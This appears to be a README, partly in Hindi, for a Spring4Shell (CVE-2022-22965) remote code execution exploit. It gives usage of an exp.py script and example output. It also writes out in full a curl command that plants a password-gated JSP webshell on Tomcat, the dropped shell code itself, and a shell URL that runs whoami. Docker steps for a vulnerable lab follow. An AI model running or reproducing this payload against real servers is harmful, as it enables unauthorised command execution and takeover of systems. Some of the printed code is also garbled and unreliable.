mr-xn/spring-core-rceCVE-2022-22965 : स्प्रिंग कोर आरसीई के बारे में
विशेषताएँ:
उपयोग:
$ python3 exp.py -h
usage: exp.py [-h] --url URL --type TYPE [--directory DIRECTORY] [--filename FILENAME]
[--proxy PROXY]
Srping Core Rce.
optional arguments:
-h, --help show this help message and exit
--url URL target url,eg: http://127.0.0.1:8082/helloworld/greeting
--type TYPE 1 vuln test 2.Behinder shell
--directory DIRECTORY
shell directory,eg: webapps/ROOT(Notice: if the path not exists will creat!)
--filename FILENAME shell name
--proxy PROXY set request proxy,eg: http://127.0.0.1:8080
उदाहरण:
$ python3 exp.py --url http://127.0.0.1:8082/helloworld/greeting --type 1 --proxy http://127.0.0.1:8080
[*] waiting for 10s...
[+] inject success, vulnerable!
[+] test at: http://127.0.0.1:8082/inject30297.jsp
[*] Response:
challenge
<!--
सीधे webshell लिखें
curl -v -H "c1: runtime" -H "c2: <%" -H "suffix: %>//" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target:8080/path
फ़ाइल डिस्क पर ड्रॉप की गई है:
cat ./apache-tomcat-8.5.77/webapps/ROOT/tomcatwar.jsp
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -
शैल: target/tomcatwar.jsp?pwd=j&cmd=whoami
ROOT.war बैमाओहुई के vulfocus इमेज से आता है, इसे सीधे jdk9+ के tomcat वातावरण में तैनात करके परीक्षण शुरू किया जा सकता है।
स्वयं docker pull का उपयोग भी कर सकते हैं
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
फिर स्थानीय पोर्ट 8082 तक पहुँचें, OK प्रदर्शित होने पर, यह सफलतापूर्वक चल रहा है।
https://github.com/lunasec-io/Spring4Shell-POC को क्लोन करें, फिर Spring4Shell-POC में प्रवेश करें और docker संकलन और प्रारंभ करें।
docker build -f Dockerfile . -t spring4shell && docker run -p 8082:8080 spring4shell
[+] Building 1.4s (12/12) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 37B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/tomcat:9.0 1.3s
=> [internal] load build context 0.0s
=> => transferring context: 965B 0.0s
=> [1/7] FROM docker.io/library/tomcat:9.0@sha256:9920e45babbbda16cc0f7b939349e1443cc6e0922272 0.0s
=> CACHED [2/7] ADD src/ /helloworld/src 0.0s
=> CACHED [3/7] ADD pom.xml /helloworld 0.0s
=> CACHED [4/7] RUN apt update && apt install maven -y 0.0s
=> CACHED [5/7] WORKDIR /helloworld/ 0.0s
=> CACHED [6/7] RUN mvn clean package 0.0s
=> CACHED [7/7] RUN mv target/helloworld.war /usr/local/tomcat/webapps/ 0.0s
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:7b1b653307234587dde30fa2f26b2f3211b2bc8bdb38b4b43f2c321ddda1ee25 0.0s
=> => naming to docker.io/library/spring4shell 0.0s